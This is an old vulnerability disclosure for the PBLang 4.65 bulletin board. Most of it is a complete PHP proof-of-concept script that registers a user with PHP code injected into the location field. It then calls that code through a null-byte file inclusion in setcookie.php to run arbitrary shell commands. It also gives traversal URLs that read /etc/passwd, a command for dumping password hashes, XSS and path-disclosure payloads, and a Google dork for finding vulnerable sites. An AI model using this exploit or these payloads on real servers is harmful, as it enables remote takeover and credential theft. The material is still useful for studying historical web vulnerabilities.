PBLang 4.65 (possibly prior versions) remote code execution / administrative credentials disclosure / system information disclosure / cross site scripting / path disclosure software: description: PBLang is a powerful flatfile Bulletin Board System. It combines many features of a professional board, but does not even require SQL support. It is completely based on text-file. site: http://pblang.drmartinus.de/ download: https://sourceforge.net/project/showfiles.php?group_id=62953 1) system disclosure: you can traverse directories and see any file (if not .php or .php3 etc.) and include any file on target system using '../' chars and null byte (%00), example: http://target]/[path]/pblang/setcookie.php?u=../../../../../etc/passwd%00 vulnerable code in setcookie.php: ... 16 $usrname=$HTTP_GET_VARS['u']; 17 @include($dbpath.'/'.$usrname.'temp'); ... 2) remote code execution: board stores data in files, when you register a [username] file without extension is created in /db/members directory, inside we have php code executed when you login, so in location field type: madrid"; system($HTTP_POST_VARS[cmd]); echo " in /db/members/[username] file we have ... $userlocation="madrid"; system($HTTP_GET_VARS[cmd]); echo ""; ... no way to access the script directly, /db/members is .htaccess protected and extra lines are deleted from files after you login, so you should make all in a POST request and re-register this is my proof of concept exploit, to include [username] file I make a GET request of setcookie.php?u=[username]%00&cmd=[command] but you can call username file through some other inclusion surely when you surf the forum: site: http://rgod.altervista.org make these changes in php.ini if you have troubles with this script: allow_call_time_pass_reference = on register_globals = on */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo 'PBLang 4.65 remote commands execution

PBLang 4.65 (possibly prior versions) remote commands execution

a script by rgod at http://rgod.altervista.org

hostname (ex: www.sitename.com)

path (ex: /pblang/ or /forum/ or just /)

specify a port other than 80 (default value)

a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; if (($path<>'') and ($host<>'') and ($command<>'')) { if ($port=='') {$port=80;} $anumber=rand(); $data="user=jimihendrix".$anumber."&pass=jimijimi&pass2=jimijimi&em=jimimail".$anumber."@jimimail.com&realname=&alias=&msn=&icq=&aim=&yahoo=&qq=&web=http%3A%2F%2F&loc=".urlencode('madrid"; error_reporting(0); system($HTTP_GET_VARS[cmd]); echo "') ."&pt=colorgination.com+harness+racing+video&av=none&webav=&sig=®code=1126055838&lang=en&accept=1&Submit=Submit"; if ($proxy=='') { $packet="POST ".$path."register.php?reg=2 HTTP/1.1\r\n"; } else { $c = preg_match_all($proxy_regex,$proxy,$is_proxy); if ($c==0) { echo 'check the proxy...
'; die; } else { $packet="POST http://".$host.$path."register.php?reg=2 HTTP/1.1\r\n";} } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: ".$host.$path."register.php?reg=1\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } } fclose($fp); echo nl2br(htmlentities($data)); if ($proxy=='') { $packet="GET ".$path."setcookie.php?u=jimihendrix".$anumber."%00&cmd=".urlencode($command)." HTTP/1.1\r\n"; } else { $packet="GET http://".$host.$path."setcookie.php?u=jimihendrix".$anumber."%00&cmd=".urlencode($command)." HTTP/1.1\r\n"; } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: ".$host.$path."login.php\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/5.0 (compatible; Konqueror/3.3; Linux) KHTML/3.3.2 (like Gecko)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; // $packet.=$data; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } } fclose($fp); echo nl2br(htmlentities($data)); } ?> 3)admin/user credentials disclosure: you can see password hash of any user or admin sending the command: cat ./db/members/[username] 4) cross site scripting: register and in location field type: madrid"; echo " then check this url: http://[target]/[path]/setcookie.php?u=[username]%00 5) path disclosure: http://[target]/[path]/setcookie.php?u=%00 googledork: "Software PBLang" filetype:php rgod site: http://rgod.altervista.org mail: retrogod@aliceposta.it